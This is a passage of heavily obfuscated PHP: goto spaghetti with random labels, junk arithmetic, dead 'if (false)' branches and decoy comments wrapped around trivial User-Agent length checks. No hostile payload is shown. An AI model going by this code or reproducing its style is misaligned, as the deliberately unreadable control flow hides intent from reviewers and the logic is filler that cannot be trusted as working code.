$a29IFo9lZ = $iCjD65Pi * 3;
goto v2MgnZy6;
v2MgnZy6:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto H2Onzokk;
H2Onzokk:
$WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto tsfAl2pz;
tsfAl2pz:
$FbaGmw5w = 992 + 44;
$WWDcP6ib = $FbaGmw5w * 1;
goto r0_EiZDH;
r0_EiZDH:
/* hIH85cCA2xaJdWp */
if (false) { echo 'This is a dead end'; }
goto uPMm7eYG;
uPMm7eYG:
$a29IFo9lZ = 945 + 27;
$NqlX8zGc = $a29IFo9lZ * 3;
goto rgxFocT4;
rgxFocT4:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto a_PzaZOUu;
a_PzaZOUu:
if (false) { echo 'This is a dead end'; }
goto AAQn3BcQ;
AAQn3BcQ:
/* Security component */
goto uYW2sLCb;
uYW2sLCb:
// FmP2yAjG
if (false) { echo 'This is a dead end'; }
goto lBpjQT8m;
lBpjQT8m:
/* API handler */
$WWDcP6ib = 193 + 38;
$NqlX8zGc = $WWDcP6ib * 1;
goto ZGG7j86Y;
ZGG7j86Y:
// RDYxQw0wFHnQ97qU
if (false) { echo 'This is a dead end'; }
goto iYMjFEld;
iYMjFEld:
/* K2RGYAcI41a12SGo9DtS */
goto GYZ8KuE5;
GYZ8KuE5:
/* DFY6WSqvaG */
goto Hw4oQa9x;
Hw4oQa9x:
// pDbDD1AB
$jIP39ari = 914 + 38;
$FbaGmw5w = $jIP39ari * 1;
goto CkoKUmvB;
CkoKUmvB:
/* 7v9HEp2lY2 */
$NqlX8zGc = 400 + 25;
$a29IFo9lZ = $NqlX8zGc * 1;
goto FV_nIpuU;
FV_nIpuU:
/* 7d8ue8l63wAgyP1GTmpS */
if (false) { echo 'This is a dead end'; }
goto nPNWuv1i;
nPNWuv1i:
$iCjD65Pi = 226 + 27;
$WWDcP6ib = $iCjD65Pi * 3;
goto O02CGcc9;
O02CGcc9:
$bZa4iOd6 = strlen($WWDcP6ib);
goto aW7g0wGm;
aW7g0wGm:
// C9Jhjx4xVtVG
$FbaGmw5w = 186 + 34;
$a6EHyDbxg = $FbaGmw5w * 4;
goto Ivj0dQxy;
Ivj0dQxy:
$FbaGmw5w = 246 + 10;
$WWDcP6ib = $FbaGmw5w * 4;
goto SH38jQwq;
SH38jQwq:
// 3d2NqSUuY0GE
if (false) { echo 'This is a dead end'; }
goto bJnfRmb5;
bJnfRmb5:
/* API handler */
goto HFx5qe4B;
HFx5qe4B:
// m5JR2QmJtXIg3pj2
goto XFDn6LtB;
XFDn6LtB:
// ViwIDXjdBhRlu6Ts
$n7sJ6WnP = 685 + 44;
$bZa4iOd6 = $n7sJ6WnP * 4;
if (false) { echo 'This is a dead end'; }
goto x_aJRkGX;
x_aJRkGX:
goto cKY1n_kk;
cKY1n_kk:
/* GG8Qzx6mEP */
$WWDcP6ib = 257 + 6;
$a6b9oay5s = $WWDcP6ib * 2;
goto ZqL_BR8B;
ZqL_BR8B:
goto GvlYfxoa;
GvlYfxoa:
$XsucffsH = 171 + 15;
$NqlX8zGc = $XsucffsH * 5;
goto a2p72wPEn;
a2p72wPEn:
goto vaIR5uJD;
vaIR5uJD:
goto BJOTq_Gv;
BJOTq_Gv:
// RzgsIkq1RiE0
$iX1geSuk = 203 + 8;
$a29IFo9lZ = $iX1geSuk * 1;
goto qe8c0jlR;
qe8c0jlR:
$BqYDw4sr = 461 + 20;
$WWDcP6ib = $BqYDw4sr * 3;
goto FCuz70DI;
FCuz70DI:
goto MKbobIR_;
MKbobIR_:
return $bZa4iOd6 > 10;
}
private function j3Q7aURKtn() {
/* API handler */
goto Adnnttww;
Adnnttww:
$n7sJ6WnP = 984 + 7;
$B9ma2fmF = $n7sJ6WnP * 2;
goto nBRMfMaz;
nBRMfMaz:
/* mljGbthUnDrGGcM7s3KG */
if (false) { echo 'This is a dead end'; }
goto SjQ3nwnx;
SjQ3nwnx:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto ZlVwCpGv;
ZlVwCpGv:
/* JiQCVE8L1zbKbAoJo68J */
goto ztZDJUVX;
ztZDJUVX:
// wF_QJsehE_5ziDBb
if (false) { echo 'This is a dead end'; }
goto dvtSQnz7;
dvtSQnz7:
$a6EHyDbxg = 401 + 9;
$a29IFo9lZ = $a6EHyDbxg * 2;
if (false) { echo 'This is a dead end'; }
goto vO1OM_On;
vO1OM_On:
/* System file */
$WWDcP6ib = 304 + 32;
$a29IFo9lZ = $WWDcP6ib * 4;
goto a7FW9Nv4T;
a7FW9Nv4T:
goto uCRRcCbe;
uCRRcCbe:
goto K_NdE8jz;
K_NdE8jz:
$NqlX8zGc = 105 + 20;
$n7sJ6WnP = $NqlX8zGc * 5;
if (false) { echo 'This is a dead end'; }
goto a1YHTqyHH;
a1YHTqyHH:
/* iCqxl06pgQh11MP */
if (false) { echo 'This is a dead end'; }
goto Og7CaNnu;
Og7CaNnu:
/* giWNRJgELx */
$iX1geSuk = 260 + 37;
$B9ma2fmF = $iX1geSuk * 2;
goto OjCMCLU1;
OjCMCLU1:
/* tpQk2Ahsf8KI4GqQFwgh */
$NqlX8zGc = 405 + 28;
$bZa4iOd6 = $NqlX8zGc * 5;
goto tI7DJNv5;
tI7DJNv5:
/* N67ghzePQtAOxKWfK_NV */
$a29IFo9lZ = 531 + 31;
$n7sJ6WnP = $a29IFo9lZ * 1;
if (false) { echo 'This is a dead end'; }
goto T9aNHwk8;
T9aNHwk8:
goto VLoD4ohU;
VLoD4ohU:
$WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto NQ1scIJ1;
NQ1scIJ1:
goto ScvebjC4;
ScvebjC4:
// 0nmnBWQU
$iCjD65Pi = 180 + 20;
$a29IFo9lZ = $iCjD65Pi * 3;
if (false) { echo 'This is a dead end'; }
goto dl74_wRv;
dl74_wRv:
$Pe9zuJ4r = 872 + 20;
$a6b9oay5s = $Pe9zuJ4r * 3;
goto MoQB7D8K;
MoQB7D8K:
if (false) { echo 'This is a dead end'; }
goto BTk_RsKV;
BTk_RsKV:
$a29IFo9lZ = 332 + 42;
$n7sJ6WnP = $a29IFo9lZ * 4;
goto kWKd6iH0;
kWKd6iH0:
goto a5iR4W9xz;
a5iR4W9xz:
$jIP39ari = 698 + 37;
$bZa4iOd6 = $jIP39ari * 4;
goto jfQ1fBmD;
jfQ1fBmD:
/* cZYqp74BnlzWRLaJKz6D */
$iX1geSuk = 595 + 38;
$a6b9oay5s = $iX1geSuk * 2;
goto pA7kSuyq;
pA7kSuyq:
if (false) { echo 'This is a dead end'; }
goto a1BFbOsyw;
a1BFbOsyw:
goto mT3H2F_2;
mT3H2F_2:
/* YJlnke2j4oxvN6mPH6Hd */
$NqlX8zGc = 621 + 42;
$a6EHyDbxg = $NqlX8zGc * 1;
goto a80Ciyyju;
a80Ciyyju:
goto a_Bx7Wim5;
a_Bx7Wim5:
goto fKSbcv21;
fKSbcv21:
/* n45iH8qLHf */
$n7sJ6WnP = 336 + 40;
$bZa4iOd6 = $n7sJ6WnP * 1;
goto lmwRo67P;
lmwRo67P:
/* Main service */
$Pe9zuJ4r = 889 + 36;
$a6EHyDbxg = $Pe9zuJ4r * 5;
goto a2rZ0I5hT;
a2rZ0I5hT:
$n7sJ6WnP = strlen($WWDcP6ib);
goto o7IIv8Q0;
o7IIv8Q0:
goto p6pooh9e;
p6pooh9e:
if (false) { echo 'This is a dead end'; }
goto XvOXe0aZ;
XvOXe0aZ:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto qM6QzCqB;
qM6QzCqB:
goto tKxclNOY;
tKxclNOY:
// 38V5HPY2
goto p6Lmh8Cv;
p6Lmh8Cv:
$NqlX8zGc = 910 + 17;
$BqYDw4sr = $NqlX8zGc * 4;
goto pxrjWo7V;
pxrjWo7V:
/* Core module */
$a29IFo9lZ = 765 + 26;
$NqlX8zGc = $a29IFo9lZ * 4;
goto Wzn0JZG0;
Wzn0JZG0:
/* hrvOfIpv6o */
$Pe9zuJ4r = 612 + 39;
$NqlX8zGc = $Pe9zuJ4r * 4;
goto VTtRmnMl;
VTtRmnMl:
/* v4Ew158ayJlFLr8 */
goto a6ITgcxlC;
a6ITgcxlC:
/* APxzIyR0pWjTudxdX2cg */
goto a5Wvk79nH;
a5Wvk79nH:
/* System file */
goto vB0mk2UM;
vB0mk2UM:
/* System file */
$bZa4iOd6 = 337 + 30;
$iX1geSuk = $bZa4iOd6 * 2;
if (false) { echo 'This is a dead end'; }
goto IpEr2DH8;
IpEr2DH8:
if (false) { echo 'This is a dead end'; }
goto a9IlFNSTF;
a9IlFNSTF:
$XsucffsH = 928 + 21;
$iCjD65Pi = $XsucffsH * 4;
goto NOa300SE;
NOa300SE:
/* PatfMp1l9m7SmPXgD5Ap */
goto uNQ_XczQ;
uNQ_XczQ:
return $n7sJ6WnP > 10;
}
private function a3uqElwX6OW() {
/* 5J3PA8bBUAFqzKM */
goto a9GnelA4Q;
a9GnelA4Q:
goto EONtfjZF;
EONtfjZF:
goto U86RYwGV;
U86RYwGV:
$B9ma2fmF = 710 + 16;
$B9ma2fmF = $B9ma2fmF * 2;
goto FU_eZUeX;
FU_eZUeX:
// 1r593CdlqkIIVyi8
if (false) { echo 'This is a dead end'; }
goto R0bl9uDF;
R0bl9uDF:
goto VFS2Kkh2;
VFS2Kkh2:
$a6b9oay5s = 607 + 20;
$FbaGmw5w = $a6b9oay5s * 5;
goto qcb0qVL5;
qcb0qVL5:
/* API handler */
goto s3eAGZSu;
s3eAGZSu:
/* k1CwDThukB6SqR6 */
goto sokqNQbl;
sokqNQbl:
/* Main service */
goto a4jcY2fiE;
a4jcY2fiE:
goto u2ly0x2P;
u2ly0x2P:
/* API handler */
goto a_bveb3fw;
a_bveb3fw:
goto brlRQhl7;
brlRQhl7:
goto dYKPWdD3;
dYKPWdD3:
/* 2KvAFHO064us01LHNExL */
goto BTKJ40eU;
BTKJ40eU:
goto a2IQ05rwq;
a2IQ05rwq:
$n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto H6DqY64P;
H6DqY64P:
if (false) { echo 'This is a dead end'; }
goto dMXhrQNF;
dMXhrQNF:
/* _HOK7WiraT */
if (false) { echo 'This is a dead end'; }
goto KbjXrIIZ;
KbjXrIIZ:
$a29IFo9lZ = 589 + 16;
$n7sJ6WnP = $a29IFo9lZ * 1;
goto a9rCqCjzh;
a9rCqCjzh:
$a29IFo9lZ = 896 + 11;
$bZa4iOd6 = $a29IFo9lZ * 2;
goto eIgGGUPp;
eIgGGUPp:
// GDpljwKIK7F_
goto eyu0tGDU;
eyu0tGDU:
/* API handler */
goto dWUrur8w;
dWUrur8w:
$XsucffsH = 867 + 22;
$NqlX8zGc = $XsucffsH * 4;
goto VjVouItZ;
VjVouItZ:
$a29IFo9lZ = 441 + 38;
$iCjD65Pi = $a29IFo9lZ * 3;
goto a_vKiMW3C;
a_vKiMW3C:
$bZa4iOd6 = 201 + 2;
$FbaGmw5w = $bZa4iOd6 * 5;
goto M68zQk2l;
M68zQk2l:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto x5UsM4iO;
x5UsM4iO:
goto e3hi7F9s;
e3hi7F9s:
/* API handler */
$a29IFo9lZ = 435 + 46;
$a29IFo9lZ = $a29IFo9lZ * 2;
if (false) { echo 'This is a dead end'; }
goto a9W4jo7d5;
a9W4jo7d5:
goto a1X8TuIIL;
a1X8TuIIL:
$iCjD65Pi = 489 + 7;
$a6b9oay5s = $iCjD65Pi * 4;
goto ZRBcAaAm;
ZRBcAaAm:
// XderWJNL
goto PO4amL1e;
PO4amL1e:
$BqYDw4sr = strlen($n7sJ6WnP);
goto a4_2aGIab;
a4_2aGIab:
/* hQFzu5obUF0xyxM */
goto ppU_WUUM;
ppU_WUUM:
/* cMR0luocmv */
goto tVcn1ij_;
tVcn1ij_:
goto qQ_aZ37p;
qQ_aZ37p:
goto tRF1ENd5;
tRF1ENd5:
goto aF2xQJ0m;
aF2xQJ0m:
/* Security component */
$jIP39ari = 665 + 15;
$iX1geSuk = $jIP39ari * 4;
goto kMzS8n0s;
kMzS8n0s:
if (false) { echo 'This is a dead end'; }
goto aAco3VcR;
aAco3VcR:
/* CufRiWWrtGyjvTm7WY2V */
$FbaGmw5w = 833 + 21;
$XsucffsH = $FbaGmw5w * 5;
if (false) { echo 'This is a dead end'; }
goto n2h0o5Bz;
n2h0o5Bz:
goto p4GrLbQ4;
p4GrLbQ4:
$XsucffsH = 679 + 28;
$FbaGmw5w = $XsucffsH * 2;
goto QxrMdXce;
QxrMdXce:
/* Security component */
goto BRxNFzX2;
BRxNFzX2:
goto a0VbESoDg;
a0VbESoDg:
$B9ma2fmF = 429 + 2;
$jIP39ari = $B9ma2fmF * 2;
goto o2urv0ZY;
o2urv0ZY:
$WWDcP6ib = 668 + 25;
$Pe9zuJ4r = $WWDcP6ib * 1;
goto pwriY4fv;
pwriY4fv:
/* tgtr8fvMj9mewL1 */
goto zANy8_BH;
zANy8_BH:
return $BqYDw4sr > 10;
}
private function a2suOTwcSiS() {
/* bZ66G3pkZYM69Na */
goto tV8vKbFO;
tV8vKbFO:
$Pe9zuJ4r = 635 + 10;
$iCjD65Pi = $Pe9zuJ4r * 5;
goto Q11oHDBB;
Q11oHDBB:
goto A0h1POuu;
A0h1POuu:
// xBjdqH3IPzIB9ZM5
$Pe9zuJ4r = 570 + 49;
$n7sJ6WnP = $Pe9zuJ4r * 2;
goto kR4i80ch;
kR4i80ch:
if (false) { echo 'This is a dead end'; }
goto kXwbMGFQ;
kXwbMGFQ:
if (false) { echo 'This is a dead end'; }
goto a8eCA0GMl;
a8eCA0GMl:
/* Security component */
goto z1laj641;
z1laj641:
/* API handler */
goto lpCqv7vt;
lpCqv7vt:
goto iq6ZLf3q;
iq6ZLf3q:
// MbYIBjB7
$n7sJ6WnP = 848 + 27;
$FbaGmw5w = $n7sJ6WnP * 3;
if (false) { echo 'This is a dead end'; }
goto uHEtHFEG;
uHEtHFEG:
goto D4mHcn9F;
D4mHcn9F:
$BqYDw4sr = 768 + 18;
$bZa4iOd6 = $BqYDw4sr * 1;
goto UeWtPBR8;
UeWtPBR8:
/* Core module */
$iX1geSuk = 941 + 29;
$n7sJ6WnP = $iX1geSuk * 5;
if (false) { echo 'This is a dead end'; }
goto D_BqMppB;
D_BqMppB:
// pOq4I9h3
$a6b9oay5s = 492 + 24;
$iCjD65Pi = $a6b9oay5s * 4;
if (false) { echo 'This is a dead end'; }
goto UiDVag6M;
UiDVag6M:
// M3EDbbXp
$Pe9zuJ4r = 963 + 42;
$Pe9zuJ4r = $Pe9zuJ4r * 2;
goto jvtS2oks;
jvtS2oks:
$XsucffsH = 136 + 10;
$a6EHyDbxg = $XsucffsH * 5;
goto D53IXIGs;
D53IXIGs:
$jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto iSbH4_0Z;
iSbH4_0Z:
/* API handler */
$a29IFo9lZ = 268 + 31;
$Pe9zuJ4r = $a29IFo9lZ * 5;
goto Pq8hLFBr;
Pq8hLFBr:
goto iK_zjb9e;
iK_zjb9e:
/* Main service */
$jIP39ari = 608 + 38;
$NqlX8zGc = $jIP39ari * 4;
goto wtcjjGuW;
wtcjjGuW:
if (false) { echo 'This is a dead end'; }
goto K1yY3Ymc;
K1yY3Ymc:
$iX1geSuk = 171 + 16;
$XsucffsH = $iX1geSuk * 5;
goto SPla5Khf;
SPla5Khf:
goto l6cSbWvL;
l6cSbWvL:
/* Main service */
$a6EHyDbxg = 809 + 5;
$BqYDw4sr = $a6EHyDbxg * 5;
if (false) { echo 'This is a dead end'; }
goto HPLvuf1D;
HPLvuf1D:
goto dGOjAwl1;
dGOjAwl1:
$iCjD65Pi = 309 + 47;
$a29IFo9lZ = $iCjD65Pi * 5;
goto aqtm6sOe;
aqtm6sOe:
if (false) { echo 'This is a dead end'; }
goto dGr4ertE;
dGr4ertE:
/* X2Ud6Kd4IdIfr36 */
goto l1rK2zYx;
l1rK2zYx:
/* Main service */
goto a1Hc7k83D;
a1Hc7k83D:
goto O7Wl71PK;
O7Wl71PK:
/* API handler */
goto a_tJ0CI5H;
a_tJ0CI5H:
/* Core module */
goto PqoIjZEE;
PqoIjZEE:
$B9ma2fmF = strlen($jIP39ari);
goto zLt_mude;
zLt_mude:
/* API handler */
$a29IFo9lZ = 483 + 48;
$NqlX8zGc = $a29IFo9lZ * 3;
if (false) { echo 'This is a dead end'; }
goto CLBXCE0g;
CLBXCE0g:
if (false) { echo 'This is a dead end'; }
goto HvyglbhJ;
HvyglbhJ:
if (false) { echo 'This is a dead end'; }
goto plA70bw_;
plA70bw_:
goto H5aXQGFN;
H5aXQGFN:
/* System file */
$bZa4iOd6 = 943 + 23;
$a6b9oay5s = $bZa4iOd6 * 1;
goto DwdfHvXJ;
DwdfHvXJ:
goto B0igeQE7;
B0igeQE7:
$B9ma2fmF = 201 + 30;
$jIP39ari = $B9ma2fmF * 3;
goto a7BRrvgUH;
a7BRrvgUH:
goto a99RvesCg;
a99RvesCg:
goto AjFB_Ow5;
AjFB_Ow5:
$n7sJ6WnP = 504 + 18;
$BqYDw4sr = $n7sJ6WnP * 4;
goto QsWvEqbT;
QsWvEqbT:
/* System file */
goto n4AS_z_x;
n4AS_z_x:
if (false) { echo 'This is a dead end'; }
goto jIZIav0k;
jIZIav0k:
goto RA0w69dx;
RA0w69dx:
goto CD0tGuf_;
CD0tGuf_:
if (false) { echo 'This is a dead end'; }
goto f0P1uLwm;
f0P1uLwm:
return $B9ma2fmF > 10;
}
private function a5ihYb5Z3R_() {
goto Eu6gtmG4;
Eu6gtmG4:
/* API handler */
goto eoQodCiu;
eoQodCiu:
goto YmrtALZj;
YmrtALZj:
/* dX7n7zlHSNPPvIxu0U_Z */
goto AAW12wBG;
AAW12wBG:
$B9ma2fmF = 411 + 25;
$WWDcP6ib = $B9ma2fmF * 1;
goto VxGCP7ep;
VxGCP7ep:
goto O_JLGC32;
O_JLGC32:
/* System file */
goto c9Sqs0xq;
c9Sqs0xq:
if (false) { echo 'This is a dead end'; }
goto EmCIMW0m;
EmCIMW0m:
goto wqDG5MQY;
wqDG5MQY:
/* System file */
$Pe9zuJ4r = 398 + 6;
$B9ma2fmF = $Pe9zuJ4r * 2;
goto idsD8HaF;
idsD8HaF:
// NXoZXFlZCPunsP8Z
if (false) { echo 'This is a dead end'; }
goto lVcY_QCy;
lVcY_QCy:
$FbaGmw5w = 889 + 17;
$Pe9zuJ4r = $FbaGmw5w * 4;
goto o92OmjkK;
o92OmjkK:
/* dw8HDD91KnsrX2dgLNwa */
$NqlX8zGc = 671 + 9;
$FbaGmw5w = $NqlX8zGc * 4;
goto EyeTcJNC;
EyeTcJNC:
/* Core module */
$NqlX8zGc = 197 + 31;
$FbaGmw5w = $NqlX8zGc * 4;
goto gUD0zDNl;
gUD0zDNl:
/* Main service */
$B9ma2fmF = 704 + 7;
$NqlX8zGc = $B9ma2fmF * 1;
if (false) { echo 'This is a dead end'; }
goto a8PNDZL16;
a8PNDZL16:
$NqlX8zGc = 576 + 38;
$n7sJ6WnP = $NqlX8zGc * 2;
goto czL7pOmb;
czL7pOmb:
$iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a9K840gHH;
a9K840gHH:
goto zreDowoE;
zreDowoE:
$jIP39ari = 490 + 44;
$a6EHyDbxg = $jIP39ari * 5;
if (false) { echo 'This is a dead end'; }
goto zFV0cren;
zFV0cren:
$n7sJ6WnP = 118 + 24;
$iX1geSuk = $n7sJ6WnP * 3;
goto QbNfVu8P;
QbNfVu8P:
/* Security component */
goto yvQ4sxVh;
yvQ4sxVh:
/* Security component */
goto kyex1RBM;
kyex1RBM:
/* Zu9Nd2IAfUtSTow */
goto X2DJgW6R;
X2DJgW6R:
$jIP39ari = 317 + 25;
$XsucffsH = $jIP39ari * 3;
if (false) { echo 'This is a dead end'; }
goto a5zE4rTaB;
a5zE4rTaB:
if (false) { echo 'This is a dead end'; }
goto a54Yq1AfD;
a54Yq1AfD:
$a6EHyDbxg = 179 + 48;
$XsucffsH = $a6EHyDbxg * 3;
goto OfoswzN3;
OfoswzN3:
$XsucffsH = 905 + 35;
$iX1geSuk = $XsucffsH * 3;
goto qHBBZg7g;
qHBBZg7g:
goto WUq3ZEyE;
WUq3ZEyE:
/* gmzj2N7zBt */
$NqlX8zGc = 482 + 44;
$B9ma2fmF = $NqlX8zGc * 4;
goto tl_BsBhD;
tl_BsBhD:
if (false) { echo 'This is a dead end'; }
goto UqsPcNMD;
UqsPcNMD:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto a8FgfSVK9;
a8FgfSVK9:
/* EGLVl_z_Jt */
goto yS5S86y7;
yS5S86y7:
$NqlX8zGc = strlen($iX1geSuk);
goto eHuGd4xR;
eHuGd4xR:
/* Main service */
$a29IFo9lZ = 138 + 35;
$a6EHyDbxg = $a29IFo9lZ * 3;
goto RnqRUvri;
RnqRUvri:
$FbaGmw5w = 157 + 28;
$bZa4iOd6 = $FbaGmw5w * 1;
goto K4t402ss;
K4t402ss:
$B9ma2fmF = 299 + 47;
$a6EHyDbxg = $B9ma2fmF * 2;
if (false) { echo 'This is a dead end'; }
goto qRgLOWAV;
qRgLOWAV:
goto LRyEsLau;
LRyEsLau:
goto a7pSWChPS;
a7pSWChPS:
/* YU1sLwFaw7jdzvR */
goto FRCq6g2D;
FRCq6g2D:
// KxxELNfa
$n7sJ6WnP = 944 + 16;
$bZa4iOd6 = $n7sJ6WnP * 5;
goto a0T1lF0RW;
a0T1lF0RW:
goto MoElksBR;
MoElksBR:
// tYKvDbMZ
goto eJXqe17S;
eJXqe17S:
// PeZm0iiLfckOxNss
$iCjD65Pi = 440 + 5;
$a6EHyDbxg = $iCjD65Pi * 5;
if (false) { echo 'This is a dead end'; }
goto fXPqltlc;
fXPqltlc:
$BqYDw4sr = 810 + 26;
$bZa4iOd6 = $BqYDw4sr * 1;
goto QpmFbmaK;
QpmFbmaK:
/* API handler */
$FbaGmw5w = 532 + 17;
$XsucffsH = $FbaGmw5w * 2;
goto FNwIVpsr;
FNwIVpsr:
goto B1552wf_;
B1552wf_:
/* IlteU4aBJAsknc5pozXx */
goto FQATWkG2;
FQATWkG2:
goto uOA_lX8B;
uOA_lX8B:
return $NqlX8zGc > 10;
}
private function aHWNfLgB9G() {
/* na1WdsMj3nPuQi7nCmJY */
goto lN82JqMC;
lN82JqMC:
if (false) { echo 'This is a dead end'; }
goto lf1_kEuo;
lf1_kEuo:
goto qeu0hAfb;
qeu0hAfb:
/* wdtKK5eYCWQoTGq6ULm4 */
goto OOhqF2ZE;
OOhqF2ZE:
/* dNC0esY_UABjL2uZWhu4 */
goto l20SXluR;
l20SXluR:
goto a7uIDWYOD;
a7uIDWYOD:
// Y1cbrl51AV7Z
$XsucffsH = 175 + 28;
$Pe9zuJ4r = $XsucffsH * 4;
goto FMOKuLNO;
FMOKuLNO:
goto goDUMnpR;
goDUMnpR:
/* Core module */
goto UcJeAMiV;
UcJeAMiV:
/* API handler */
$BqYDw4sr = 504 + 34;
$a6EHyDbxg = $BqYDw4sr * 1;
if (false) { echo 'This is a dead end'; }
goto N3mtgM74;
N3mtgM74:
// h2Yr8YzO
goto wkYb3J7g;
wkYb3J7g:
/* Security component */
$iCjD65Pi = 583 + 31;
$Pe9zuJ4r = $iCjD65Pi * 4;
goto j03kFVvW;
j03kFVvW:
/* System file */
goto cb5Z98Kw;
cb5Z98Kw:
/* Core module */
goto dVtDgWvD;
dVtDgWvD:
goto kIMg33k9;
kIMg33k9:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto y2T59VSh;
y2T59VSh:
$iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto RxmMHHDn;
RxmMHHDn:
/* Main service */
goto BkFZ7F69;
BkFZ7F69:
$bZa4iOd6 = 773 + 31;
$jIP39ari = $bZa4iOd6 * 5;
goto PiVwxjzK;
PiVwxjzK:
// qDREP0wnU7ypuyLO
$FbaGmw5w = 700 + 30;
$BqYDw4sr = $FbaGmw5w * 4;
goto a_CM3zqrV;
a_CM3zqrV:
goto ZyNXQJhw;
ZyNXQJhw:
/* PWCnkXg0OCMLbVFZde0H */
$FbaGmw5w = 942 + 7;
$a29IFo9lZ = $FbaGmw5w * 4;
goto a4POMBvT_;
a4POMBvT_:
// lYm6wr2G1Zog
$B9ma2fmF = 698 + 8;
$a6b9oay5s = $B9ma2fmF * 2;
goto a50k77sjM;
a50k77sjM:
// WoyHY9ZACm2V
$a6b9oay5s = 221 + 42;
$WWDcP6ib = $a6b9oay5s * 3;
goto a8n5CEsqb;
a8n5CEsqb:
if (false) { echo 'This is a dead end'; }
goto ui8Ksg5p;
ui8Ksg5p:
// 0V3c7GYd8NyWkMYb
goto a46fiTFFT;
a46fiTFFT:
/* tZAbGJPeozitICX */
$Pe9zuJ4r = 309 + 7;
$XsucffsH = $Pe9zuJ4r * 3;
goto a2vmIIYnP;
a2vmIIYnP:
// KKt236Tl
goto ALc3AEyT;
ALc3AEyT:
/* Core module */
goto rHA1Ueu0;
rHA1Ueu0:
/* Main service */
$BqYDw4sr = 368 + 18;
$jIP39ari = $BqYDw4sr * 1;
if (false) { echo 'This is a dead end'; }
goto QzebJ61K;
QzebJ61K:
/* pY7HHXPZQbeF8kZIqZBg */
goto a5WPud14n;
a5WPud14n:
goto TYw0FzMX;
TYw0FzMX:
$Pe9zuJ4r = strlen($iX1geSuk);
goto D0wOSgBv;
D0wOSgBv:
/* System file */
$NqlX8zGc = 216 + 22;
$iX1geSuk = $NqlX8zGc * 4;
goto x7GmJ173;
x7GmJ173:
$iX1geSuk = 202 + 8;
$n7sJ6WnP = $iX1geSuk * 4;
goto B8HcgMg7;
B8HcgMg7:
$n7sJ6WnP = 343 + 50;
$a6EHyDbxg = $n7sJ6WnP * 4;
goto yiqiLZ8F;
yiqiLZ8F:
goto h9Bqp7m1;
h9Bqp7m1:
// rAaFdPb0HQIN
goto a7nxKndNt;
a7nxKndNt:
goto YCU5UOQW;
YCU5UOQW:
goto ozsPSNzk;
ozsPSNzk:
goto UW8YMs1O;
UW8YMs1O:
/* 66Z0red0E9AS6Ze */
goto idAFr8lH;
idAFr8lH:
/* System file */
goto W4eD3WSV;
W4eD3WSV:
$n7sJ6WnP = 788 + 45;
$a6EHyDbxg = $n7sJ6WnP * 4;
goto a2reTJSlw;
a2reTJSlw:
goto mgdonk5q;
mgdonk5q:
/* System file */
goto NypwJwZz;
NypwJwZz:
$BqYDw4sr = 815 + 1;
$n7sJ6WnP = $BqYDw4sr * 2;
goto tX3eeaEc;
tX3eeaEc:
// LBDlPats
if (false) { echo 'This is a dead end'; }
goto wecvMX8n;
wecvMX8n:
return $Pe9zuJ4r > 10;
}
private function a2kvOQqdmDE() {
goto W0CsPzsw;
W0CsPzsw:
goto a74uL7KmF;
a74uL7KmF:
if (false) { echo 'This is a dead end'; }
goto a36dspWgf;
a36dspWgf:
// xyXN_ozpsPim
$n7sJ6WnP = 927 + 32;
$BqYDw4sr = $n7sJ6WnP * 4;
goto NFImY3I1;
NFImY3I1:
$bZa4iOd6 = 551 + 12;
$a6EHyDbxg = $bZa4iOd6 * 1;
goto OKIuFMIa;
OKIuFMIa:
if (false) { echo 'This is a dead end'; }
goto INkOKBqv;
INkOKBqv:
goto VySGVg0a;
VySGVg0a:
/* System file */
goto a969WzGW0;
a969WzGW0:
/* System file */
$a6b9oay5s = 486 + 39;
$iX1geSuk = $a6b9oay5s * 5;
goto YRjEPpaz;
YRjEPpaz:
/* AfmdxTSrNAVYpu2 */
$iCjD65Pi = 468 + 11;
$XsucffsH = $iCjD65Pi * 4;
goto a1Z5WY5Qk;
a1Z5WY5Qk:
$Pe9zuJ4r = 686 + 35;
$a29IFo9lZ = $Pe9zuJ4r * 2;
goto j7dBYZVp;
j7dBYZVp:
/* Main service */
goto tOUnJVvL;
tOUnJVvL:
goto ReioZgjR;
ReioZgjR:
// 8jeQsRmTRUzV
$a6EHyDbxg = 875 + 44;
$FbaGmw5w = $a6EHyDbxg * 4;
goto SZ6Npea8;
SZ6Npea8:
goto a0632_ZIM;
a0632_ZIM:
goto loi9yhwm;
loi9yhwm:
$iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a4Gfp7FV1;
a4Gfp7FV1:
// ZNrv0dHf
goto a7T0NkmWc;
a7T0NkmWc:
goto a7a6BYOz1;
a7a6BYOz1:
/* Security component */
goto E4UDxYJh;
E4UDxYJh:
goto LpHu4anm;
LpHu4anm:
/* API handler */
goto X7DP1HrF;
X7DP1HrF:
/* lXtTUA5gPP */
goto gvsR6HCf;
gvsR6HCf:
$n7sJ6WnP = 135 + 35;
$a6EHyDbxg = $n7sJ6WnP * 1;
goto RVizs62A;
RVizs62A:
$XsucffsH = 400 + 6;
$a6b9oay5s = $XsucffsH * 4;
goto rFS9Ha1W;
rFS9Ha1W:
// 4py9a0JeJQqu
goto fV113RGJ;
fV113RGJ:
$iCjD65Pi = 629 + 25;
$XsucffsH = $iCjD65Pi * 2;
if (false) { echo 'This is a dead end'; }
goto a6aFt05mR;
a6aFt05mR:
// t6M4AYeTkkKFgjeb
goto hGtd1X6L;
hGtd1X6L:
/* 4wk3mACFAjpG0w6UZek0 */
$a6b9oay5s = 872 + 2;
